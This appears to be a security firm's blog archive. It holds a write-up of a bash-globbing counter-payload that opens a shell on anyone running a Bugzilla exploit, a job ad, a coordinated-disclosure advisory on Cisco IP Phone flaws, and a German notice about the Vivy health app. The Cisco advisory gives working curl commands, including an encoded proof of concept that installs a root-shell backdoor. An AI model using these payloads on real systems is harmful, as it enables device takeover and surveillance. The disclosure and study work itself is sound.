At this point I actually went to look for other potentially vulnerable exploits, came up with nothing and eventually got back to this one. We sat down to look at this with the CTF team I participate in and had a go at it. It's surprisingly tricky to do anything without letters or numbers, so when we found a way to be able to use numbers we were all really excited. I'll try to explain how it works below.
Bashing our Heads Against the Wall
Globbing may help: Linux shells can expand certain characters to match multiple paths at once.
A *
matches anything in the current directory.
A ?
matches a single character.
So /b?n/b?sh
will most likely match /bin/bash
, but in contrast to the characters /
and ?
, letters are filtered by the IDS routine. Unfortunately, when trying to run /???/????
in a shell, it runs the first match it finds, giving that program all other matches as parameters.
We need to find something useful that we can uniquely match just from how many characters it has, so we can execute it using only ?
and /
.
Sadly, there is nothing like that on a standard Kali Linux installation, which is what we are targeting.
Creating Numbers From Tabs and Special Chars
We can, however, declare a Bash function, since we can use ()
and {}
as well as ;
.
With that ability and also $#
which expands to the number of parameters given and using tabs instead of spaces, we can actually construct numbers like this:
____() { __=$#;};____ $#;_=$__;
Let's break this one down:
____() { __=$#;};
declares the function ____
which assigns the number of its arguments to the variable $__
.
____ $#;
calls that function with one argument so that the number 1
is assigned to $__
_=$__;
assigns the number 1
to $_
And after all that effort to create the number 1 we can use some more magic to construct the numbers 3 and 7 as well and create the expression /???/?1?/??????3?7
which matches only the path /usr/X11/python3.7
.
____() { __=$#;};____ $#;_=$__;____ $# $# $#;___=$__;____ $# $# $# $# $# $# $#;/???/?$_?/??????$___?$__Note how we shortened the process for the last number a bit by skipping the assignment to another variable and used
__
directly.
That's great, but so far this would only spawn an interactive python shell, so we aren't fully there yet.
As mentioned earlier, the response from the server is piped into a file called enter_bug.cgi.
This file is placed in a newly created, empty directory. So if we do our same matching trick again, we will most likely match the exact file we want with ?????_???????
.
The Python executable takes this file then as an argument and executes it. We can just make the first line a python comment, which doesn't stop the regex from parsing the payload, and the rest will be valid python.
Putting the Exploit in the Exploit
Here's the finished Mozilla Bugzilla exploit exploit. Just serve this on the enter_bug.cgi request of your Bugzilla installation and watch the magic.
#enter_bug.cgi?product=$(____() { __=$#;};____ $#;_=$__;____ $# $# $#;___=$__;____ $# $# $# $# $# $# $#;/???/?$_?/??????$___?$__ ?????_???????) import sys import os print("Yo dawg. I heard you like exploits. So I made an exploit for your exploit, so you can be exploited while you exploit.", file=sys.stderr) os.system("bash")
Conclusion
Don't run everything you find on the Internet! Especially if it's the response of a server you're attacking.
At this point I'd also like to credit eibwen for his help with working out the payload. Finally, cross your heart, have you ever done backups of your Kali-system? :-)
Posted by Nils Ole Timm | Permanent link | File under: opensource, github, hacking, opsec, exploit, rant
2019-09-27
Wir suchen: Backoffice-Mitarbeiter*in (w/d/m) für die Büro-Organisation und Buchhaltung
Wir sind eine kleine, junge IT-Sicherheits-Firma von acht Jahren. 2011 in Rapperswil in der Schweiz gegründet und 2013 nach Berlin expandiert, betreiben wir zwei Büros in Winterthur und Berlin. Wir beraten Firmen und Konzerne aus der zivilen Wirtschaft hinsichtlich IT-Sicherheit. Kunden mit militärischem oder nachrichtendienstlichem Hintergrund lehnen wir ab. Für unser Büro in Berlin (nahe S-Bhf Friedrichstr.) suchen wir zeitnah eine weitere nette Person für die Büro-Organisation und Buchhaltung.
Aufgaben:
- Administrative und organisatorische Tätigkeiten
- Sekretariatsaufgaben (Korrekturlesungen, Korrespondenz, Postbearbeitung, E-Mail-Bearbeitung)
- Buchhaltungstätigkeiten wie z. B.: Verbuchung von laufenden Geschäftsfällen
- Personalsachbearbeitung vorbereitend für unser Lohnbüro oder selbständige Lohnbuchhaltung
- Gehaltsüberweisungen
- Administrative Arbeiten im Rechnungswesen
- Abwicklung Zahlungsverkehr sowie Rechnungsprüfung
- Ausbau und Mitgestaltung von betriebswirtschaftlichen Abläufen
- Reise-Planung/Buchung/Koordinierung
Anforderungen:
- Kontaktfreudigkeit, Flexibilität
- Organisationstalent
- Gute Deutsch- & Englisch-Kenntnisse in Wort und Schrift
- Hohe Team- und Serviceorientierung
- Kaufm. Ausbildung bzw. entsprechende Erfahrung
- Versiert im Umgang mit den gängigen Office-Anwendungen (MS-Office)
- Vertrauenswürdigkeit, Genauigkeit
- Eigenverantwortliche und selbständige Arbeitsweise
- Teil- oder Vollzeit möglich
Spricht für Dich:
- Neugier
- Grundsätzliches Verständnis von IT-Sicherheit
- Sicherer Umgang mit PGP-Verschlüsselungssoftware
- Kenntnisse im Umgang mit Word Makros/VB
- Pragmatisch, Lösungsorientiert
- Recherche- und Dokumentations-Fertigkeiten
Wir bieten:
- Motivierte, freundliche und selbständige Arbeitskolleg*innen
- Interessantes, herausforderndes, abwechslungsreiches & vielfältiges Aufgabengebiet in einem jungen Unternehmen
- Langfristige und vielseitige Position
- Selbständige Arbeitsmöglichkeit
- Technische Weiterbildung in Sachen IT-Sicherheit
Wenn Du es bis hier geschafft hast, schreib uns doch bitte eine E-Mail: jobs@modzero.ch - den passenden PGP-Schlüssel findest Du hier: http://www.modzero.ch/pgp/jobs_modzero.ch.asc.
2019-03-22
Multiple vulnerabilities in Cisco IP Phone 7800 and 8800 series [MZ-19-01]
-----------------------------------------------------------------v1-- modzero Security Advisory: Multiple vulnerabilities in the web interface of the Cisco IP Phone 7800 and 8800 series [MZ-19-01] --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2018-06-28: Report with findings delivered to a customer and findings have been reported by our customer to Cisco. * 2018-11-21: This advisory has been sent to the Cisco security team (psirt@cisco.com) to get a status regarding security patches. * 2018-11-21: Initial response from PSIRT to us. * 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175, CSCvn56194, CSCvn56213, CSCvn56221 * 2019-01-23: Information from Cisco that other phones are affected as well and they still work on a fix. * 2019-02-19: 90 days period for keeping detailed information back is over. * 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension agreed by modzero. * 2019-03-06: Received CVE-IDs from Cisco * 2019-03-20: Cisco releases advisory and fixes * 2019-03-20: Advisory published --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: Cisco * 3.1 Buffer overflow in the phone's webserver CVE-2019-1716 modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -> 8.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * 10.3(1)SR5 for Unified IP Conference Phone 8831 * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series Not affected according to Cisco: * IP phones running Multiplatform Firmware * 3.2 Phone's web interface fails to restrict access to functions CVE-2019-1763 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -> 8.2 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821 and 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * IP Conference Phone 8831 * IP phones running Multiplatform Firmware * 3.3 File upload vulnerability in the phone's web interface CVE-2019-1766 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos CVSS Base Score according to Cisco: 7.5 Affected products according to Cisco: * IP Phone 8800 Series products running a SIP Software release prior to 12.5(1)SR1 Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 7832 * Cisco Wireless IP Phone 8821(-EX) * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 8832 * IP phones running Multiplatform Firmware * 3.4 Phone's file upload affected by path traversal and null injection CVE-2019-1765 modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -> 9.1 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv CVSS Base Score according to Cisco: 8.1 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 7832 * IP phones running Multiplatform Firmware * 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's upload function CVE-2019-1764 modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -> 7.3 URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf CVSS Base Score according to Cisco: 8.1 Affected products according to Cisco: * 11.0(5) for Wireless IP Phone 8821-EX * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series Not affected according to Cisco: * Cisco IP Phone 7800 Series * Cisco IP Conference Phone 8831 * Cisco IP Conference Phone 7832 * IP phones running Multiplatform Firmware --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- 3.1 Buffer overflow in the phone's webserver The embedded web-server running on the Cisco IP phones suffers from a buffer-overflow vulnerability. During testing, it was confirmed that a maliciously crafted, unauthenticated request is able to trigger the vulnerability and results in re-booting of the phone. Further analysis of the phone firmware showed that the vulnerability may result in remote code execution in the context of the web server process. The vulnerable function is extractUsernameAndPassword() for the analyzed CP-8832 and CP-8845/65 phone firmware versions. The function is called whenever a HTTP request needs to be authenticated according to the HTTP "Basic" authentication schema. First, the function allocates a 257 byte-sized temporary buffer tmp_buf on the stack. Then, the HTTP authorization header is acquired through the HTTP connection object conn. The authorization header is decoded from base64 representation by the function decodeUserPassword() and stored into tmp_buf. Before calling decodeUserPassword(), the authorization header string length is not processed safely. The pseudo-code below highlights the problematic computation step: char tmp_buf[257]; memset(tmp_buf, 0, sizeof(tmp_buf)); [...] unsigned len = strlen(authorization_header); len = len & 0xffff; decodeUserPassword(authorization_header, len, tmp_buf); Instead, the following code should have been employed to correctly limit the input to the decodeUserPassword() function as follows: char tmp_buf[257]; memset(tmp_buf, 0, sizeof(tmp_buf)); [...] unsigned len = strlen(authorization_header); if (len > 340) len = 340; // b64-dec is 8 to 6 bit transform decodeUserPassword(authorization_header, len, tmp_buf); Because of this programming error, an input of up to 65535 characters can be passed to decodeUserPassword(), which will in consequence decode and write up to 49152 bytes into tmp_buf and the subsequent memory area on the stack. The saved stack pointer and program counter are located right behind tmp_buf and therefore can be overwritten with arbitrary values. When the function extractUsernameAndPassword() returns, the modified stack pointer and program counter are loaded from memory. When arbitrary garbage values are supplied, the program will typically crash and the phone will reboot. It is likely that with sufficient knowledge of the memory layout and program state, an attacker may inject carefully prepared data and execute arbitrary code. The following HTTP request was shown to trigger the vulnerability (HTTP authorization header truncated for readability): GET /CGI/Java/x HTTP/1.1 Host: localhost User-Agent: curl/7.58.0 Accept: */* Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii... Connection: close Such a request can be generated with the command below and sent to the HTTP or HTTPS port of the phone's web server: curl -k -u `seq -s: 999` -d 1 https:///CGI/Java/CallInfo In a disassembly of the vulnerable function extractUsernameAndPassword() it can be observed that the code lacks set-up and validation of stack canaries in the function prolog and epilog. Therefore, an attacker is able to trivially overwrite the saved program counter located on the stack. The underlying Linux kernel has Address-Space Layout Randomization (ASLR) enabled (/proc/sys/kernel/randomize_va_space was observed to be set to the value 2), but the verbose externally exposed message log via the web server contains memory addresses from the HTTP server processes as shown below. Therefore, an attacker is likely to correctly guess memory addresses and becomes able to defeat the ASLR countermeasure. 7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection - Added SSL connection handle 0x40f82660, connDesc 90 to table. 3.2 Phone's web interface fails to restrict access to functions The IP phone's web server implements authorization checks to control access to functions. A programming error allows to bypass these checks and access internal functions without authentication. For example, the phone can be rebooted. This issue facilitated the proof-of-concept exploit to gain remote root access to IP phones described in the chapter 5. Internally, web pages that allow interaction with internal functions (in contrast to web pages that only display information) are called "editable pages". If an incoming request is recognized to access an editable page, further checks for authentication and authorization are performed. The disassembly of the vulnerable function isEditablePage() in the two firmware versions is rewritten as the pseudo-code below and illustrates how the function employs strcmp() to analyze incoming HTTP requests. It fails to produce the correct result when the input does not exactly match the test strings. This is possible for example, when the parameter string contains additional but insignificant characters like an ampersand ('&'). int isEditablePage( char *uri, // query path char *params, // query parameters ) { return ( strcmp(uri, "/CGI/Java/Serviceability") == 0 && ( strcmp(params, "adapter=datetime") == 0 || strcmp(params, "adapter=datetimelocal") == 0 || strcmp(params, "adapter=datetimespec") == 0 || ... ) ) || ... ; } The following command exploits the described behavior to reboot the phone. curl -k -d 1 "https:// /CGI/Java/Serviceability?adapter=do_restart&" Another exploit of the described issue is shown in chapter 5. 3.3 File upload vulnerability in the phone's web interface The IP phone contains a function that allows uploading of files to the phone's file system. It is usually employed to upload custom certificates and constructed in a non-standard way, i.e. it already writes data to a local file during an initial parameter parsing step. As a consequence, it is possible to write arbitrary file contents, even when later processing steps fail or no further actions are performed on the data. This may lead to denial-of-service conditions, for example storage media failure or storage space exhaustion. The ability to persist arbitrary data on the device facilitated creation of the exploit described in the chapter 5. The problematic file upload function is implemented in Java. Incoming HTTP POST requests are handled by the doPost method. When the parameter adapter is equal to "loginPost", "upload_usercert" or "upload_rootca", the method parseFormResults() is called to process the request body. parseFormResults() iterates over all body parts and in turn calls parseHeader() for each. Instead of postponing any data processing steps until all input has fully been validated, the method parseFormResults() has the side-effect of writing the parts named "rootca" and "usercert" to the file system. 3.4 Phone's file upload affected by path traversal and null injection The IP phones contain a file upload function which is vulnerable to path traversal and null byte injection. An attacker is able to write to arbitrary files in the file system, with permissions of the web server process. The proof of concept exploit in the chapter 5 shows how this issue enabled writing to configuration file locations to place a persistent back-door on the phone. The problematic file upload function is implemented in Java. The parseHeader() method constructs target file paths with the two following statements: this.usercertFileName = "/usr/local/wifi/rootca/" + this.rootca + ".up"; this.usercertFileName = "/usr/local/wifi/usercert/" + this.usercert + ".up"; An attacker directly controls the member variables rootca and usercert. By prefixing a desired path with a sequence of dots and slashes and terminating the string with a null character, an arbitrary file path can be written to. 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone's upload function The web interface available on the phones contains an upload function for user-provided certificates. To protect against Cross-Site Request Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the Anti- CSRF token is validated too late, after input data has already been written to the file system. Therefore, the Anti-CSRF token is ineffective and does not protect the upload function from CSRF attacks. An attacker may abuse this behavior to exploit security vulnerabilities in the phone's web server in a CSRF-scenario: For example, by luring an internet-connected victim web browser onto an attacker-controlled page. If the (possibly authenticated) victim also has access to the phone's web server, the attacker-controlled page may submit malicious requests to the phone. The method parseFormResults() in the upload implementation verifies the CSRFToken parameter as final step. This is insufficient, because actions with substantial side-effects have already been performed before the check raises an exception. The exception caused by failure of the CSRFToken check does not inhibit exploitation of vulnerabilities, as demonstrated by the proof-of-concept in chapter 5. --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- modzero identified several critical vulnerabilities in Cisco phone web interfaces which lead to a full compromise of the phone without any authentication. An attacker could exploit these vulnerabilities to obtain sensitive call data, to perform call fraud, as well as an audio and video surveillance of offices, and to use the phones as attack platform for other infrastructure. --------------------------------------------------------------------- 5. Proof of concept exploit --------------------------------------------------------------------- An IP phone (model CP-8865, firmware version cmterm-8845_65.12-0-1SR1- 1) was successfully compromised via exploitation of a combination of vulnerabilities. The command below performs a carefully constructed HTTP request to the phone's web server to exploit the vulnerabilities documented in this advisory: echo "H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwe jAzjLW99wkCZ8WsNlItXE"\ "mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvy Afhc0J9NyoqoYoQgrB06DaSjw5"\ "UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9 u+uVB8Xbh1WQtPExeckFQBAAA="| base64 -d|gunzip|curl -k --data-binary @- -H "Content-Type: multipart/form-data; boundary=xxx" \ "https:// /CGI/Java/Serviceability?adapter=loginPost&" The first exploited vulnerability is the issue described in section 3.1: The authorization check to access the loginPost function is bypassed by appending an ampersand (`&') symbol to the URL. The input payload data is written to the file system due to the file upload vulnerability described in section 3.3. By exploiting the path traversal and null injection vulnerability documented in section 3.4, an internal path can be specified to write into configuration files. The attacker does not provide a valid anti-CSRF token, which causes the server to respond with HTTP error 400 Bad Request. But this does not stop the attack, because of the vulnerable anti-CSRF token validation mechanism described in section 3.5. The malicious request writes two files. First, a configuration for a backdoor xinetd service is written to the location /usr/local/xinetd/x. The service consists of a root (user 0) shell listening on tcp port 22. (Port 22 was selected, because observed firewall configuration suggested that traffic to this port is typically allowed and expected. If another service is already active on port 22, this may need to be adjusted.) The xinetd configuration is reproduced below: service x { type = unlisted protocol = tcp wait = no user = 0 group = 0 server = /bin/sh server_args = -i port = 22 } The second part of the requests writes the empty string to /var/run/xinetd.pid, effectively truncating the file. This file is periodically inspected by the cron script located in /etc/cron.5mins/02xinetdmon, which is shown below. The cron script executes every fifth minute in the hour and after xinetd.pid was tampered with, will ensure that xinetd starts with the backdoor configuration. #!/bin/sh xinetd_pid=$( cat /var/run/xinetd.pid ) if [ -z "$xinetd_pid" -o ! -d /proc/"$xinetd_pid" ]; then # In dd/mm/yy/hour/min/sec format currtime=$(date +"%d%m%y%H%M%S") echo "$currtime: cannot find xinetd" >> /usr/local/backtraces/xinetd.crash echo "$currtime: starting xinetd" >> /usr/local/backtraces/xinetd.crash /etc/init.d/xinetd.sh start fi After waiting until the next fifth minute has passed, the backdoor service is started and can be accessed via connecting to port 22 of the phone. --------------------------------------------------------------------- 6. Workaround --------------------------------------------------------------------- Disabling the web interface on the phone eliminates the risk. --------------------------------------------------------------------- 7. Fix --------------------------------------------------------------------- According to the Cisco advisories, fixes are available. --------------------------------------------------------------------- 8. Credits --------------------------------------------------------------------- * David Gullasch --------------------------------------------------------------------- 9. About modzero --------------------------------------------------------------------- The independent Swiss company modzero AG assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero AG work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.ch contact@modzero.ch --------------------------------------------------------------------- 10. Disclaimer --------------------------------------------------------------------- The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
2018-10-30
Sicherheitsmängel in e-Health Anwendungen
Schwerwiegende Sicherheitsmängel in Elektronischer Gesundheitsakte "Vivy"
Am 21. September entdeckte unser Kollege Martin Tschirsich kurz nach der Veröffentlichung der Vivy Plattform zahlreiche sicherheitskritische Fehler in der Anwendung.
Daraufhin versuchten wir sofort einen Kontakt zu Sicherheitsverantwortlichen bei Vivy herzustellen. Dieser Kontakt kam auch sehr bald zustande, und es folgten zahlreiche Telefonate und ein Meeting in den Geschäftsräumen von Vivy in Berlin-Mitte.
Am 4. Oktober um 18 Uhr erreichte uns eine PGP-signierte Email von einem der Vivy-Geschäftsführer, in der Vivy um eine Verlängerung von zwei Wochen bat, da einige Sicherheitsprobleme der Crypto-Implementierung noch nicht behoben werden konnten. Diese zwei Wochen haben wir selbstverständlich eingeräumt, da wir keine Berichte über ungepatchte Schwachstellen veröffentlichen wollten.
Heute veröffentlichen wir in Koordination mit Vivy unseren Bericht über die auf dieser e-Health Plattform gefundenen Probleme. Dies tun wir, weil uns die Sensibilisierung von Patienten und Anwendern ein Kernanliegen darstellt. Zudem wollen wir mit der kritischen Betrachtung einer solchen Plattform allen Firmen im e-Health Sektor deutlich machen, dass ihnen eine unglaublich große Verantwortung obliegt. Es muss von jeder Seite um jeden Preis sichergestellt werden, dass Dokumente wie Gesundheitsdaten einen besonderen Schutz genießen müssen.
Sämtliche Befunde ließen sich praktisch verifizieren und sind keineswegs theoretischer Natur. Zudem mussten auch kaum komplexe Voraussetzungen wie beispielsweise ein kompromittierter Rechner oder Server erfüllt sein. Zur Untermauerung unserer Aussagen, veröffentlichen wir den technischen Bericht [1] und die folgende, kurze Meldung:
Seit wenigen Wochen können rund 13,5 Millionen Krankenversicherte ihre Gesundheitsdaten mit "Vivy" selbst verwalten. Doch das schweizer-deutsche IT-Sicherheits-Unternehmen modzero hat herausgefunden: Nicht nur Patienten und Ärzte, auch Unbefugte konnten die Gesundheitsdaten lesen - und zum Teil auch manipulieren. modzero veröffentlicht hierzu nun einen Sicherheitsbericht. Zuvor wurde Vivy über die Sicherheitslücken informiert und es wurde ausreichend Gelegenheit zu deren Beseitigung gegeben. Der Zeitpunkt dieser Veröffentlichung wurde mit den Verantwortlichen koordiniert.
Was ist "Vivy"?
Die Gesundheits-App Vivy ist angetreten, um Versicherten von 14 gesetzlichen und zwei privaten Krankenkassen als Assisstentin in Sachen Gesundheit zu dienen. Neben der Pflege von Medikamentenplänen und Impfterminen soll die App den Austausch von Gesundheitsakten wie Rezepten, Befunden und Laborwerten zwischen Ärzten und Patienten ermöglichen. Vivy wirbt dabei mit "Sicherheit auf höchstem Niveau": "Es gibt kaum sensiblere Daten als die zur eigenen Gesundheit. Daher ist es für Vivy von höchster Priorität, medizinischen Daten vor jeglichem Zugriff unberechtigter Dritter zu schützen." [0]
Was ist passiert?
Mit großen Sicherheitsversprechen betrat der Anbieter Vivy im September 2018 den Markt der Gesundheits-Apps. Der Hersteller gibt an, Patientendaten durch sichere Authentifizierungs-Methoden und moderne Verschlüsselung vor unberechtigtem Zugriff zu schützen.
Die beworbenen Schutzmaßnahmen entsprechen grundsätzlich gängiger Praxis zum Schutz sensibler Daten, aber die Betonung der Sicherheitsmerkmale liest sich für IT-Sicherheitsforscher wie eine Einladung, dies einmal genauer zu prüfen. Unser Kollege Martin Tschirsich ist dieser Einladung gefolgt und fand innerhalb kürzester Zeit gravierende Sicherheitslücken in der Vivy-App und den dazugehörigen Servern.
Daraufhin meldete modzero die Sicherheitslücken unverzüglich bei Vivy, um einen sogenannten "Coordinated Disclosure"-Prozess einzuleiten. In Abstimmung mit Vivy wurde nach initialem Kontakt am 21. September 2018 bis zum 30. Oktober 2018 Zeit eingeräumt, um die Sicherheitslücken zu beheben, bevor modzero einen Sicherheitsbericht veröffentlicht.
Die Veröffentlichung dieses Sicherheitsberichts soll die Öffentlichkeit dafür sensibilisieren, wie wichtig ein transparenter Entwicklungs- und Feedback-Prozess insbesondere im E-Health-Bereich ist.
Wie schwerwiegend sind die Probleme?
modzero stellte mehrere Sicherheitslücken verschiedener Kritikalität fest. Für eine ausführliche Beschreibung aller gefundenen Sicherheitsprobleme sei auf den Report [1] verwiesen.
Die kritischsten Punkte waren: Informationen darüber, wer wann mit welchem Arzt Gesundheitsdaten geteilt hatte, lagen ungeschützt für jeden lesbar im Netz. Versicherte konnten durch die Informations-Lecks anhand von Name, Foto, E-Mailadresse, Geburtsdatum und Versichertennummer identifiziert werden. Auch Name, Adresse und Fachrichtung des kontaktierten Arztes konnten ausgelesen werden. Unbefugte konnten über das Internet alle Dokumente, die an einen Arzt gesendet werden sollten, abfangen und entschlüsseln. Darüber hinaus fand modzero zahlreiche konzeptionelle Schwächen im Rahmen der Nutzung der RSA-Verschlüsselung und des Schlüssel-Managements. So konnten beispielsweise über trivial ausnutzbare Fehler in der Server-Anwendung die geheimen Schlüssel der Ärzte ausgelesen werden.
Wie geht es jetzt weiter?
Die Zusammenarbeit im Rahmen dieses Veröffentlichungs-Prozesses mit Vivy verlief positiv. modzero wurde zugesichert, geeignete Lösungen und Gegenmaßnahmen für die gefundenen Sicherheitsprobleme zu entwickeln. Ob diese tatsächlich vollumfänglich und auch wirksam umgesetzt wurden, hat modzero nicht geprüft und plant dies auch nicht. Den Anwendern wird empfohlen, Updates der Vivy-App zeitnah einzuspielen.
modzero steht derzeit in Kontakt mit einem weiteren Anbieter einer Gesundheits-App, da auch die Konkurrenz mit durchaus schwerwiegenden Sicherheitsproblemen zu kämpfen hat. Auch hier legt modzero zum Schutz der Daten betroffener Patienten Wert auf einen angemessenen Zeitraum zum Beheben der Probleme.
Weiterführende Informationen
modzero ist ein 2011 in Zürich gegründetes schweizer-deutsches IT-Sicherheits-Unternehmen. modzero berät Kunden vor und während der Entwicklung von sicherheitskritischen Anwendungen und bietet tiefgehende technische Analysen, insbesondere im Bereich kryptografischer Anwendungen.
Die Schwachstellen wurden von Martin Tschirsich gefunden und gemeinsam mit Thorsten Schröder im Bericht dokumentiert.
Detaillierte technische Informationen finden sich auf dem modzero-Blog [2] und im ausführlichen Bericht [1].
[0] https://www.vivy.com/sicherheit/
[1] Vivy Sicherheits-Bericht: https://www.modzero.ch/static/vivy-app-security-final.pdf
[2] Blog-Post zur Veröffentlichung auf dem Webserver von modzero: https://www.modzero.ch/modlog/archives/2018/10/30/sicherheitsm_aumlngel_in_e-health_anwendungen/index.html
[3] https://www.vivy.com/fileadmin/user_upload/007_presse/180918_Vivy_-_PM_September_final.pdf